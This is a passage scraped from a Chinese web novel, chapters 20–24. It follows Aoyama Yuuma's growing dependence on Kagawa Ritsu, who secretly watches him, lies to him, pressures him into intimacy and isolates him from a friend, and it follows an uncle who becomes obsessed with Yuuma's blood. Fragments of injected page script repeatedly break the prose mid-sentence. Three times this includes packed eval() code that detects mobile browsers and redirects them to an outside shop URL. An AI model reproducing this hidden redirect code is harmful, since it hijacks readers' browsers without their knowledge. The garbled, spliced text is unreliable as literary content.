“笹原健一呢?”香川律打断他的话。 悠真:“他在外面,但是,他也变得好奇怪。” 香川律的声音听不出什么情绪:“笹原健一也变奇怪了吗?他之前不是很正常吗,你们是不是有什么误会。” 悠真:“不是误会,笹原……笹原他也变了。” “啊,这样。”香川律不带任何偏向地说了这么一句。 悠真:“那么您现在可以过来吗?” 香川律短暂的沉默了一下,开口之后说出的话却像是拒绝:“悠真,我现在在工作。” 20.第 20 章 悠真、悠真…… 香川律握着手机,食指无节律地敲打着手机的背面,这是他在思考时的表现。 “我看你好像有新的朋友,以为悠真你应该没有那么需要我了才对。“说这句话的时候香川律在心里笑得很恶劣,可是表面上还是做出一幅—— 善良、又为难的模样。 “你确实应该有一些新朋友,这样对你也好,不能总是围着香川家团团转,而且,我看你也很想交其他朋友的样子……” 香川律边说,边向外走。 悠真快要大哭出来了,碍于那些疯狂人群他又不敢哭得太大声,只敢小声的抽泣。 他的抽泣在此时显得那么微不足道,香川律应该没有听见,他还在对他解释。 “那天我听见你拒绝我的邀请、说你9号有约的时候我由衷地为你感到高兴,悠真终于有除了我以外交好的朋友了,真好,既然悠真有其他人作陪那么我也该把精力和时间多分一些在工作上了。” “况且我想,这世界上也没有哪些朋友是整天都要黏在一起、除了工作之外生活里全被对方填满的,有点奇怪了不是吗?说是朋友,更像情侣似的,比朋友更亲密的,也只有那个了。” 香川律轻微的笑声传到悠真的耳朵里:“好像是不合时宜的幽默。” 他又正色起来:“悠真,你现在真的那么麻烦吗?实在不行的话,我先把手边的工作放下去你那里,不过……你以后得学着试着自己解决这些麻烦。” “我之前确实说过很喜欢你依赖我,但那时候,你不是只有我嘛,如果以后要和其他人相处的话还是要有一些自保的技能,毕竟我不能时刻出现在你身边。” 悠真的声音几乎破碎:“没有……没有其他人。” 只要律先生一个就好了。 香川律好像没有听清楚他在说什么,问了句:“什么?用我过去吗?我把工作交接一下。” 悠真用衣袖擦干净脸:“不、不用了,我会看着办的。” 律先生的工作和他的工作是不一样的,律先生的工作是很重要的,不能因为自己而让律先生有损失。 悠真默默挂断电话,在这个昏暗的走道里清晰的意识到自己有多需要香川律。 他竟然为了笹原拒绝香川律的邀请,真可笑,笹原、包括世界上其他的家伙是不可相信的,他们伪装得太好以至于他忘记了香川先生有多宝贵。 如果他没有被偶像的光环闪到失去判断的能力,那就好了。 心里再向往的人,和律先生比起来,也不值一提。 悠真靠着墙壁,刚才的电话时间他已经恢复了不少体力,他又喘了几口气,决定继续摸索着向前,也许前面有其他道路可以让他走出去、豁然开朗。 但是走道里传来的脚步声,从离他很远的地方走来。 是一种软牛皮鞋底不轻不慢地接触地面的声音,说明来人从容,并不急躁,应该不是那群疯狂粉丝。 这里灯光昏暗,对方应该不能立刻看清自己的脸。 也是是个可以寻求帮助的时机。 做出判断之后,悠真并没有立刻掉以轻心。他背靠在一侧墙壁,把背包拿在手中当作武器,以便遇到什么情况可以立刻脱身。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 脚步声在不远处停住。 悠真费力的辨认那究竟是谁。 那人站在阴影中,脸上有一大半都被昏暗灯光投射的阴影遮掩住,好像带了一层若有似无的黑色面具,即便他并不做任何掩饰地用正脸面对着悠真,悠真也只看到模糊的五官。 “是、是谁?”悠真戒备的询问着。 “是我,悠真,你要到我这里来吗?”来人张开了双手。 熟悉的声音令悠真错愕不已,一瞬间他的情绪阀门被打开,紧绷之后的身体骤然放松,于是剧烈的情绪就执掌了身体的控制权。 他浑身颤抖,却不害怕。 律先生还是过来了,律先生抛下工作到他这里来了。 律先生总是怎么迅速,这么及时。 律先生始终是他可以依赖的那个人。 律先生正在对他张开双臂。 没有犹豫。 青山悠真以最快的速度跑进香川律的怀抱里,已经有过几次的场景再次上演,但这一次好像又和很多次都不一样。 他们相拥的那一刻他听见香川律发出了一声喟叹。 两人在此刻获得同时满足。 这段时间的克制终于迎来了代偿,他现在怎么用力地拥抱悠真都不会遭到怀疑,现在是悠真离不开他了。 和戒掉任何容易成瘾的东西相比,戒掉悠真是一件把人逼向理智崩溃边缘的事情。他花了很大的力气,才仅仅勉强维持了这短暂的戒断时间。 还不够,还不够。 悠真,变得更离不开我吧。 从灵魂到身体,从发丝到脚尖。 21.第 21 章 泪眼婆娑的悠真是最让香川律无法拒绝的。 虽然悠真笑起来也很漂亮,但只有在这种时候——在这种时候香川律才会觉得悠真好像要把全身心都奉献给自己。 理所应当的,他低下头,在悠真还没有反应过来时吻住了他的嘴唇。 悠真完全不明白发生了什么,连眼睛都忘记要闭起来,他盯着香川律看,因为吃惊嘴巴张开着。 这让香川律更有了可乘之机。 在这个无人的、稍显杂乱的通道里,在这个隐蔽又空洞的角落中,悠真不经意窥到香川律眼眸中的贪婪。 这份贪婪只露出了一点苗头就像其他不良情绪一样迅速地被隐藏了起来,只剩下留在香川律脸庞的那一点红晕,这让他看起来天然纯情无害,简直比悠真还要清白无辜。 大概就是那种“如果香川律被谁勾引了那一定是对方的错”那种感觉,无论客观事实是什么样的。 “真是的,这把年纪了还会像青少年一样情不自禁。”香川律得体地自我埋怨了一下:“吓到你了吗,悠真?” 悠真:“没、没有……” “不应该做这种事情的,”香川律苦恼着:“你比我小这么多,作为大人,不应该给你错误的引导。” 律先生说的他年纪很小似的,明明他只比对方小七八岁左右。 不过律先生这种苦恼的表情,悠真还是第一次看见。 “律先生……完全不用自责,我也已经不小了。”悠真小心地安慰着对方。 香川律嗤笑了一声:“啊,大学生悠真。” 香川律在打趣他的年纪。 片刻后他的笑容收了起来,一本正经地说:“还是不要这样了,这样对你不公平,以后我们还是保持一些距离比较好。” 这是什么意思,悠真呆呆看着香川律,忘记了说话。 没有等他开口,香川律就直接进入了下一个话题:“跟我来。” 在香川律的指引下悠真来到一个类似于办公室的地方,是游乐场里的办公室,香川律说现在不是出去的好时机,先在这里待一会儿。 办公室里没有其他人,香川律坐在悠真的对面,目不转睛地看着他喝着手中的热茶。 房间里开着暖气,悠真没有那么冷了。 悠真没话找话:“律先生是怎么找到这里的?” 香川律回答得滴水不漏:“你给我打电话的时候我就搜索了一下笹原健一的新闻,看到了网上的闹剧,猜测你在这里。” 悠真:“那是怎么找到我的呢?” 香川律笑了一下:“知道你们在‘镜湖游园地’之后事情就好办多了,毕竟这里是香川家旗下的,只要调一下监控,就知道悠真跑到哪里了。” 香川律当然在说谎,他早从悠真一进园开始就一直看着监视器,全方位的、无死角的监视器把悠真的一举一动都播放给他,还有那些和笹原在一起时候的亲密举止。 想来也好笑,如果不是悠真,笹原那种人根本入不了他的眼,可就是因为悠真的存在,他对那种蝼蚁产生了类似于“嫉妒”的情绪,虽然只有一点。 悠真捧着一次性纸杯,看茶水冒起的点点雾气:“是哦。” 之前确实听到过香川律说什么关于游乐园的工作事情,当时他没有太在意。也不奇怪,香川律拥有什么听起来都很正常,就算有一天说太平洋上的某个岛屿是香川家的悠真都不会感到奇怪。 没准律先生真的有座岛。 悠真为自己的想法笑了一下。 香川律:“现在好多了吧?” 悠真:“是的。” 香川律站起身,什么也不问,他不问事情是什么过程,就像他并不是很关心。他打了一个电话,嘱咐对方做关于疏散游客和粉丝的事务。还有一些未处理的公务,香川律也一个电话一个电话的叮嘱好。 等他忙完,已经过去了一个小时。 在此期间悠真只是待在自己的位置上,思考着刚才香川律说的“保持距离”的话。 也许香川律只是当时情绪上来随口一说,但对于那种话悠真不可能不在意,他整个思绪都乱了,隐隐约约好像理解律先生为什么想和自己“保持距离”,又好像没那么理解。 还有刚才的吻,在那个当下他没有反应过来所以什么表情都没有,而在现在的不断回想中,悠真觉得自己的脸在烧。 于是香川律打着电话就看见悠真的脸越来越红,尤其是眼睛下边那两圈,红得可爱。 他猜到悠真在想什么,假装没看见。 等事情忙过,香川律看了一下手表:“时间差不多,现在出去应该不会被怀疑了,车在楼下。” 香川律走在前面,悠真走在他后方,和之前不一样,香川律没有来牵他的手,悠真觉得自己的手和心都很空荡。 在车内也是,律先生和他保持了“距离”,这份距离不止体现在两人肢体间,还体现在态度上。 香川律依旧和善,和他说话时会盯着他的眼睛,但他不会再摸摸他的头或者拍拍他的肩膀,好像用行动对悠真说,他已经下定决心,他们之间的亲密不会再有。 所有人都想靠近他,还是第一次有人想远离他,比起逃离狂热粉丝,这种局面才更让他措手不及。悠真不知道该怎么办才好。 但是真诚总是没有错的,只要真诚地说出自己的想法,把事情完全说开,总能得到解决。 这是写在教科书上的答案,乖学生悠真这么做了。 “律、律先生。”他的脸庞发热,有点不好意思:“您之前说的‘保持距离’的事情,一定要那么做吗?如果,如果我不想呢?” 香川律只是看他,没有说话。 悠真觉得自己还得再表达得更清楚一点:“我的意思是,我不想和律先生保持距离,您之前……对我做那种举动,我不觉得困扰,就好像之前您说喜欢被我依赖那样,不说出口的话我也以为您会觉得困扰,但其实您并没有,所以……” 他稀里糊涂地说了一堆,本来想表达清楚结果却更加糊涂了。 香川律明白了悠真想说什么,他让司机把挡板升起来,转向悠真,含蓄地笑了一下:“悠真,我想你应该不明白你说的这些话代表着什么。” 律先生总是把他当成什么都不知道也不能为自己行为负责的孩子。 悠真急于为自己说话:“我明白!” 香川律直截了当:“你明白什么?” 悠真思考了一会儿,没有想出答案,脸红着说:“我说不上来,但是律先生您肯定知道,只要是您说的,那么我都能理解。” “能理解?”香川律摇了摇头:“不,悠真,我不需要你理解我任何东西。” “我真正需要的是,”香川律说:“你做到。” 悠真傻乎乎地看着香川律,现在律先生浑身散发着一种令他觉得危险又迷人的气息,律先生摘下眼镜,一只手拿着眼镜支架,另一只手揉捏着自己的眉心。 “你说不想和我保持距离,你还高高在上地说你可以理解,你说的太理所应当了,一切事情都按照你的想法进行的话,不觉得很任性吗?”香川律的语气比平时重了点,让悠真觉得是不是自己犯了什么错误。 香川律继续:“你没有想清楚这些事情背后你要付出的东西。我可以允许我们亲密无间、不用保持一点距离,那么为了达成这样的关系,你,悠真,你应该怎么做?” 香川律把手从眉心放下:“接受亲吻的就意味着接受,‘你是属于我的,而我也是属于你的’,愿意为你做任何事情、无时无刻的帮助你,我为你做的已经很多。” 香川律:“那么悠真,你又要怎么‘属于我’?” 青山悠真呆呆地看着香川律。 香川律说的每个字都敲打在他的心口,他之前没有想过这么多。 可是现在,正如香川律说的,这不是他的任性时间了。 香川律无奈地笑了:“你又不知道要怎么做了吗?看,悠真,即使我说的这么明显了,你还是做不到。” 律先生好像……有点生他的气。 他感觉到了,有点慌张。 悠真:“我知道的,只需要您再说得直白一点,也许我没有那么聪明,可是……” “过来吻我,悠真。”香川律好心地,轻柔地,强硬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13968106|145868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地,命令地说。 车内挡板把他们所在的位置变成了一个更私密的空间,这个空间里的温度不断上升着。悠真被热空气灼烧大脑,变得反应迟缓,花了很大的功夫才明确了那句话的意思。 香川律等待着悠真的反应,他闭上眼睛,靠着椅背,闭目养神地等着。 他能感到那个小家伙焦灼又害羞地做着决定,很快,窸窸窣窣地、偷偷摸摸地靠近他,好像他们这段关系是什么见不得光的事情一样。 香川律觉得悠真可爱到有些好笑了。 他连眼睛都没睁,车内的空间限制了人们的肢体,悠真的动作受到不小的阻塞,没那么流畅和灵活。 那些就像手指头触碰一样的东西啄在香川律的下巴,一下。 香川律并不作反应,这种东西什么也不是。 短暂的迟疑过后,又是第二下。 香川律慢慢睁开了眼睛:“你把这种东西叫吻吗,悠真?” 眼镜还被他拿在手里,没有了那一层薄薄的镜片,香川律的目光毫无遮挡,他的锋利赤忱无疑。 悠真羞愧,艰涩地说:“这里、太窄了,帮、帮帮我啊。” 香川律不带情绪:“真的要我帮你吗?” 在悠真点头的那一刻,他伸手把悠真抱到了腿上,让他正面对着自己,坐着。 他抬起食指,点在悠真的下巴上:“这里可不行。” 说完,食指没有离开,慢慢滑到那处漂亮喉结的位置,戳了戳,就像在玩耍。 悠真忍得眼睛发红:“不,不行……” 香川律弯了唇,没有被他的声音改变想法,一直点到领口。 “毛衣。”他不带任何感情地嗤笑了一下。 除去外套,悠真今天穿的是纯白色的毛衣,是那种柔软质地,摸起来像在摸奶油大福。 这个毛衣又怎么了吗。 香川律出声催促:“悠真你发呆太久了,快一点。” 他也想快一点做到,可是律先生的手指让他失去了思考的能力。 悠真的目光不自觉地看向香川律的嘴唇,和他自己的不一样,是颜色很浅,很薄的嘴唇,香川律的。 他有些被吸引住,喉结动了动。这一点小动作逃不开香川律的眼睛。 香川律的手移动到悠真的后脑勺上,引领着他、帮助着他靠近自己。 狂风暴雨般的气息包裹着两个人,道路的颠簸让悠真不小心磕到了牙齿。 他倒抽一口气。 太热了,外套不知道是什么时候被贴心地扔到一旁的。 那件纯白的毛衣被揉捏地布满褶皱,香川律在轻吻悠真脖颈时顺手将它拉下。 悠真不安着,同时又觉得有那么一丝—— 羞怯的快乐。 香川律捕捉到他的情绪,手指划过,让他失去挣扎着从淤泥里起身的能力,只能跟着他一起堕落下去。 悠真觉得这样不好,可看着香川律越来越快乐的眼睛,又觉得这样也可以。 什么该做什么不该做,规范是什么,真理又是什么。只要能让律先生开心,他愿意做很多事情。 因为颠簸,香川律的面容总是不能固定,让他看得还不够清楚,悠真要确认自己能有多让他高兴。 他双手稳住香川律的面孔:“慢一、一点,我想看……律先生的……脸……” 莹莹发亮的眼眸,染上情愫的白皙面容,弯曲的睫毛,香川律低眸一一亲吻过他的指尖,他看见了香川律和平时完全不同的一面。 真好。被他感染,悠真不知不觉中也变得快乐和享受起来。 以前从未接触过的事情缓缓对他敞露,他变得过于乐在其中以至于开始怀疑自己是否是一个品行端正的人。 也许他本身就不是什么特别好的人,只是从前他并不了解自己,把自己想得太好了。 好像自己的身体里面还藏着另外一面似的,等待开发的、未知的、更危险的一面。 路面的颠簸停止,车停了。 悠真仰面躺在座位上,失神地盯着车顶。 他想,怎么在某一瞬间,自己变得……不太像自己了。 22.第 22 章 一切都是潮湿的,虽然没有下雨,但总之,悠真觉得空气都是潮湿的。 香川律的视线在他的上方,问他还好吗。 悠真也不知道自己好不好。 香川律看起来倒是挺好的,除了没有带眼镜之外,一切都和平时差距不大,端正,得体,亲切,礼貌。 在把悠真搞得云里雾里之后依然如此。 悠真冒出了一句自己也没有想到的话:“我想看你戴眼镜,我喜欢你戴眼镜时候的样子。” 是撒娇吗,也许吧。原来自己也是一个会撒娇的人啊,真是令人惊讶的发现。 香川律的眼睛都在笑,什么也没说却顺着悠真的心意把眼镜戴上了。 悠真:“还是摘下来好了。” 香川律就又摘下了眼镜。 悠真想了想:“我说什么律先生都会答应吗?即便是无礼的要求?” 香川律:“也许。” 悠真:“是因为对我做了那种事情所以觉得自己有责任吗?” 不是,当然不是,悠真还真是一如既往把他想的那么好,可他哪里是什么慈善家。 “不是,”香川律替他扣上扣子:“只是因为你是悠真。” 衣服口袋里的手机在震动,悠真拿出来看到了笹原的来电,接还是不接,笹原……笹原在游乐场门口时很可怕啊,可是毕竟也是他曾相处了那么长时间的朋友。 就在他犹豫的时候,香川律帮他做了决定。他的手伸过来,关掉了悠真的手机。 “你应该不会再和他见面了吧,悠真?”香川律微笑着,让人感觉到一丝压力。 悠真点了下头。 刚回到家就碰到了香川凛,因为做贼心虚悠真压根儿不敢看他的眼睛,只要凛一向他这边看过来他就立刻装作看其他方向的样子。 凛这个人神经大条应该不会发现。 凛确实没发现,有一部分是神经粗的原因,还有一部分是因为高兴。 “一个好消息和一个坏消息,哥你要先听哪个?”凛兴高采烈地问。 悠真觉得他看起来一点也不像是有“一个好消息和一个坏消息”的人,反倒是两个都应该是好消息才对。 香川律说:“先说好消息好了,卓也舅舅的短篇小说《雪野原》获得了大成协会大奖,母亲刚才打电话过来说已经邀请他来这里开庆功宴,卓也舅舅应该会在这里住几天。” 香川律肯定:“确实是个好消息,那么第二个消息是什么?” 凛的脸色微微一变,不是很耐烦的样子:“遥那个家伙参加完比赛也要回来了,还有球队里几个关系不错的同学,学校给了他们假期,遥打电话过来说是要带同学回来玩几天。” 香川律抬了抬眉毛:“又是一个好消息,他训练比赛这么长时间,你应该也很想他吧。” 凛龇牙咧嘴的:“什么啊,那家伙呆头呆脑的,我为什么要想他啊,哥你总是很偏心遥,明明你们只比我多认识一年而已,为什么总是帮他说话,快给我个解释,不要被他那副……” 凛的目光突然看到了悠真的脖子上,连带着要说的话也戛然而止。悠真不自在地缩着脖子,想到刚才的事情他就越是心虚。 凛走到悠真面前,指腹在悠真的脖子上用力摩挲了一下,悠真疼得差点没叫出声。 “这是什么?”凛皱着眉头问:“你受伤了吗?在学校有人欺负你?” 悠真捂着脖子后退了一步:“没有,没有人欺负我,你误会了。” 香川凛感到莫名的生气,他觉得是因为悠真看起来太懦弱了完全不会保护自己所以他才会这么生气。 “没有人欺负会红成那样吗?我明明就看到不止一个地方!被欺负了就要说出来啊!如果你不说出来别人要怎么帮助你?笨死了,快点告诉我到底是怎么回事!” 凛劈头盖脸地说着,明明他才是年纪最小的那个可是表现得就像老大一样。 悠真一方面苦恼着要怎么把这件事情掩盖过去,一方面又觉得这样的凛还挺可爱的。 悠真:“真的、不是……” “这一看就是虫子咬的。”香川律十分确定地说:“山里面有时候会有这种虫子的,你不记得你小时候有一年来这里度假胳膊上全部都被咬了红肿的包吗?” 香川凛:“有这件事吗,我印象不是很深……” “有,”香川律说得不容置疑:“你年纪小,不记得很正常。” 稀里糊涂就被篡改了记忆的香川凛挠了挠头,开始怀疑自我:“是这样?这个天气有虫子是正常的吗?” 香川律拍拍他的肩膀:“这几年全球天气都奇怪,虫子活动期提前也很正常。” 凛:“是这样吗,可是我还是觉得……” 香川律打断他的话:“前段时间越谷先生向我谈及了有关你的偏差值的问题,他对你很忧心。” 越谷先生是香川凛的班主任,悠真不止一次从别人口中听到这个名字,这个越谷先生好像完全拿捏住了凛,凛还挺怕他的,虽然凛嘴上不承认。 “好啦好啦,我会认真学习的。”凛脚底抹油,敷衍着往楼上溜,嘴里嘟囔着:真是的,越谷怎么总是乱告状啊,我明明已经不打架了,最近不是没给他惹事嘛……真是……” 凛上楼,悠真才松了一口气。他看向香川律,释然地笑了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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仲代卓也上楼,走进房间。这里的一起还是那么熟悉。 他和三个外甥的关系一直都很好,因为姐姐姐夫工作繁忙的关系,在他们兄弟三人小时候基本是都是卓也陪着他们,陪他们吃饭、陪他们玩耍、给他们讲睡前故事……仲代卓也这个舅舅做了很多父母应该做的事情。 他已经整整一年没有来过这里了,熟悉的书桌、椅子,一切都没有变动。 仲代卓也坐在自己写作时的那把椅子上,低着头,有点疲倦地长舒了一口气。 23.第 23 章 身为一个作家,仲代卓也已经快两年没有写出什么好作品了。 他觉得自己像一口干枯的泉眼,里面再也不会涌出源源不断的灵感。这个认知折磨了他很久,直到现在。 包括那个大成协会奖的获奖作品《雪野原》,那是他两年前的作品,这两年他已经没有什么拿得出手的东西了。 一个作家失去了灵感,除非他在此时封笔才能免去嘲声。 仲代卓也不甘心,他家世优越,完全不需要靠写作来吃饭,这是他完全发自内心做出的选择。他曾经十分庆幸自己的热爱与天赋是同一件事,愿意为此付出一些,他没有结婚、没有生子,大部分精力都投入创作之中,可是现在……仲代卓也自嘲一笑。 这些事情仲代卓也没有和别人讲过,不知道该怎么和那些一直支持他的家人开口,尤其是那三个外甥,他们从小就崇拜自己,他不想从他们的眼中看到失望。 回到香川家的这个别墅,这趟旅程算是他给自己的一次疗愈之旅,正如姐姐所说,他不能再把自己关在家里了。 初到这里的感觉还不错,心情放松了一点。坐在书桌前,以前那些在这里奋笔疾书的记忆又回来了。 仲代卓也拿出随身携带的纸张,用裁纸刀讲它们裁成可以书写的大小。 他对写作时的用具很讲究,笔只用那一种进口品牌的,最常用的还是他放在身边从学生时代用起到现在已经十几年的钢笔。 至于纸嘛,他用的是本地工厂生产的一种,里面添加了桂花,不用漂白剂,所以纸张颜色泛黄又天然带着一种香气。 他最喜欢那种刚从机器里出来的大小,他会直接买回家然后再亲手裁成他常用的大小。 裁纸的过程中,美工刀划过纸张的声音和手感都会让他觉得享受,这是他每次写作前例行的活动。 现在他又在裁纸了,可是提起笔,面对一个字都没有的页面仲代卓也又觉得十分烦躁。 什么也写不出来,就算做着和两年前一样的事情、一样的习惯,但终究,灵感丢掉就是丢掉了。 仲代卓也心浮气躁地放下笔,用手用力把桌上的东西扫开,躺到了床上。 庆功宴会。 啊……真是讽刺啊,庆祝一个再也写不出作品的作家的庆功宴会。 仲代卓也捂住自己的眼睛,隔绝光线。 就在他快要睡着时,敲门响了起来,一个声音在门外响起来:“仲代先生,我是来给您送茶的。” 仲代卓也反应过来,以前他写作时常常会泡上一杯浓茶,这个习惯外甥们都知道,还真是贴心。 悠真端着茶盘走进房间,看见仲代卓也坐在床沿,而书桌上一片混乱,纸杂乱的堆在一起,还有几张掉在了地上。 “随便找个地方放吧,”仲代卓也说:“另外把我的桌子收拾一下。” 仲代卓也过惯了那种老一代人的少爷生活,吩咐起人来很顺口。 悠真嗯了一声,把茶盘放在一旁,先去收拾那堆杂乱的纸。 他以为那只是作家的一堆纸,不知道里面还夹杂了美工刀,一个不小心被藏在里面的锋利的美工刀割破手,啊了一声。 仲代卓也向他看过来:“怎么了?” 悠真:“没什么事。” 仲代卓也站起身:“手被刀划了吗?” “嗯。”悠真说:“只是一个小伤口。” 确实是一个小伤口,但不算浅。滚圆的血珠从伤口处渗出,低落一滴在地面。 悠真没有注意到,忙着用另一只手放下纸:“仲代先生,我去处理一下伤口,我叫其他人来帮您收拾桌子吧。” 仲代卓也:“哦,快去……不过,这是什么香气?” 悠真愣了一下:“啊?您说的应该是茶香吧。” 不是茶香,仲代卓也很确信。 这股香气好像是瞬间就弥漫在了房间里,就在刚才,虽然他不确定具体是哪一刻开始的。 是什么东西……为什么闻到就会觉得……很幸福。 他浑身的血液都热了起来,好像又回到了曾经充满灵感与热情的时刻。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13972956|145868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仲代卓也为这种香气着迷,转着圈在房间里寻常。 终于,他注意到了地面上的那一滴半干涸的血。 血红的,印在地面上,还有一点潮湿。 仲代蹲下身,那股香气果然变得又浓郁了一点,现在他确定,香气的来源就是这滴血了。 相比起“着迷”,用“着魔”这个词语可能更符合仲代卓也现在的状态。 对于这滴血液,他想的不是“刚才那个人受伤了啊”,反而是“就这么掉在地上好可惜”。 他拿起自己的钢笔,用笔尖触碰那滴地面上的粘稠,因为快要干掉的原因,笔尖只沾上了一点点红色的颜色。 瑰丽的红,天边朝霞上最精妙的一抹红,绯红之美,霞蔚云蒸。 这团香气好像进入了他的脑子,它们知道他想要什么词句。 仲代随手扯来一张纸,用沾着血液的笔在纸上狂热地书写着,凝固许久的脉络在这一刻无比畅通清晰,每一秒他都有更新更好的想法。 这些故事、这些辞藻,写下来的话一定会成为震惊文坛的传世著作。 可是,仅仅只是几分钟之后……他的灵感再次枯竭了。 房间里的味道彻底消散不见,地面上的血液凝固。 仲代卓也的美梦只做了这么几分钟。 比起灵感枯竭更可怕的是,再次拥有灵感又再次消失,这让一个天之骄子彻底不能接受。 “再试一次。”仲代卓也这么劝着自己。 他努力再提起笔,可是什么都没有。 那些灵感真的成为了稍纵即逝的一阵风,不肯再他的脑袋里多停留一段时间。 他抓着自己的头发感到痛苦万分。 刚才不是这样的……刚才他感受到的那个是什么,灵感?香气?那个走进他房间给他端茶的佣人? 他抬起头,看着纸上那些凌乱的字符,眼神里有一团迷雾慢慢加深,几乎覆盖了整个瞳孔。 再试一次。 仲代卓也在心里对自己这么说。 24.第 24 章 仲代卓也不是一个鲁莽的人。 他也能判断出“想要得到某一个人的血液”是一件奇怪的事情,如果说出来自己也许会被当成社会不安定分子。 作为一个作家,他很擅长观察,很快他知道了那个端茶进来的年轻男子叫青山悠真,他观察着青山悠真,找寻着恰当的时机。 青山悠真是个不错的年轻人,接待人时虽然不能说是面面俱到,但可以称得上贴心。他似乎个性比较腼腆,不爱说话,唯有面对律的时候话比较多,他和律之间有一些独特的氛围,仲代卓也能感觉的到。 恋爱的气氛吗?怪不得律这么多年都没有一个正牌女友啊…… 仲代卓也站在窗户前,草坪上站着青山悠真和香川律。青山悠真好像正在做着什么事务汇报,后者温柔地看着他认真听着,等到对方把话说完侧身过去附在耳边说了句什么,青山悠真瞬间红了脸庞,手上多了一些局促的小动作。 确实可爱,仲代卓也想,能把自己的这个侄子迷住也不奇怪。 遥回来那天带回来几个交好的同学,都是校棒球队的队友,年轻人总是充满着朝气和精力满满的荷尔蒙,其中一个叫佐直琉斗的年轻人几乎一见到青山悠真视线就没有离开过他,律大概也发现了,会故意暴露一些亲昵的举动给这位佐直同学看。 年轻人呐,仲代卓也不打算插手他们年轻人的事情,他只是盘算着该怎么获得自己想要的。 悠真这几天是真的忙得脚不沾地了,他从没有举行过什么宴会,在律先生面前拍着胸口表示自己能做的好,可真实行起来,却发现有各种细节要一一把控。 香川遥也回家了,还带了朋友,多一个人就多一个人的事情需要处理。 幸好那些同学应该只待几天,等庆功宴结束之后他们就回去了。 香川遥……他这几天忙的没有时间去了解这位以后要长期相处的“雇主”,单纯从第六感来说,悠真觉得他是三兄弟中最好相处的那一个。遥是运动型男生,阳光开朗,脸上总是带着笑容,即便是第一次见面的人也不会对他有距离感。 长期的集体训练让他有很好的生活习惯,他是三兄弟里唯一一个会自己整理房间做饭洗衣服的人。 宴会其中一个环节是烟花表演,要和烟花公司的人提前确定好位置,以便于在别墅里的人能获得最佳的观赏体验。 悠真事先询问了仲代卓也是否喜欢烟花。 身为名作家的仲代卓也平常说话时总是自带一种说不上来的优越感,今天倒是变得格外亲切:“烟花,我真是太喜欢了,青山你安排的很不错,话说,你把位置定在哪里了?” 悠真被这份突如其来的亲切弄得一时还有点不太习惯:“在对面的山坡上,额……那应该是观景的最佳角度。烟花公司的人明天晚上会来做实地勘查,也许会做一点调整。” 仲代卓也:“明天晚上吗?” 悠真:“对的,因为烟花晚上看会比较清晰。” 仲代思忖了一下:“我刚好有时间,我们一起过去吧,正好有几款选品我还想再看一看。” 这场庆功宴的主角就是仲代卓也,最重要的是他满意,悠真一口答应下来。 晚上回到房间,笹原又发来了一堆消息。 那件事情过后悠真一直不知道该怎么面对笹原,笹原发过来的消息他一句也没有回过。 从文字都可以看出笹原的语气越来越暴躁。 “悠真,今天我去学校找你吧?” “悠真,我已经在你的学校门口了哦。” “为什么不回我消息啊,不要被那些粉丝搞得连一面都不见我啊。” “好啦,我以后会做的小心一点不会再被拍到了。” “这么长时间没有看见我这张脸难道悠真不会觉得想念吗?” “干嘛不理人?” “如果悠真生气的话我会跪下道歉的。” “切腹怎么样?切腹的话悠真应该就会原谅我了吧,:)开玩笑啦,我才不会做这种沉重的事情给悠真添加负担,话说你什么时候才会回我的消息?” “为什么总是已读不回!弄得我很烦躁啊!” “悠真,别再这样了,我真的要生气了。” “你是不是有其他人了?因为有了别人所以我变得不重要了吗?” “悠真,拜托不要什么话都不说!” “你怎么能对我做这种狠心的事情!就算是普通朋友也要联系一下吧!” 看着手机里一条条信息,悠真觉得有点心累。那件事情之后他确实不知道该怎么面对笹原,他和笹原好像变不回以前的样子了。 如果能就这么关系淡下去也不错,但是笹原好像很受伤的样子。 香川律从身后抱住悠真,手握上他的手机,只淡淡瞥了一眼。 “其他男人发过来的消息呢,看起来好卑微、好可怜,悠真是不是又要同情心泛滥了?” “没、没有这种事……笹原他……” 香川律:“我连他的名字都忘记了,这么长时间悠真还记得他的名字吗,哦对了,毕竟是悠真很喜欢的明星。” 律先生不太高兴了。 悠真赶紧解释:“我没有要再和笹原接触的打算,你也知道之前……” “就算今天这么想,明天这么想,可是对方摇尾乞怜像只狗一样天天纠缠的话,长期下去悠真迟早会心软吧?”香川律轻轻蹭了一下他的面庞,说话的语气却有点冷冰冰的。 悠真迟疑着不知道该怎么回答,事实就是律先生说的极大可能是正确的,悠真也不敢确定自己什么时候就会心软。 香川律无奈地说:“果然,之前说的话都是在骗我,说什么‘没有其他人,只有律先生一个’,其实我对悠真也没有那么重要吧?” 香川律松开手。 “不是的、不是。”悠真摇头:“之前说的话都是真的……” 他现在不是也只有……香川律一个人吗…… 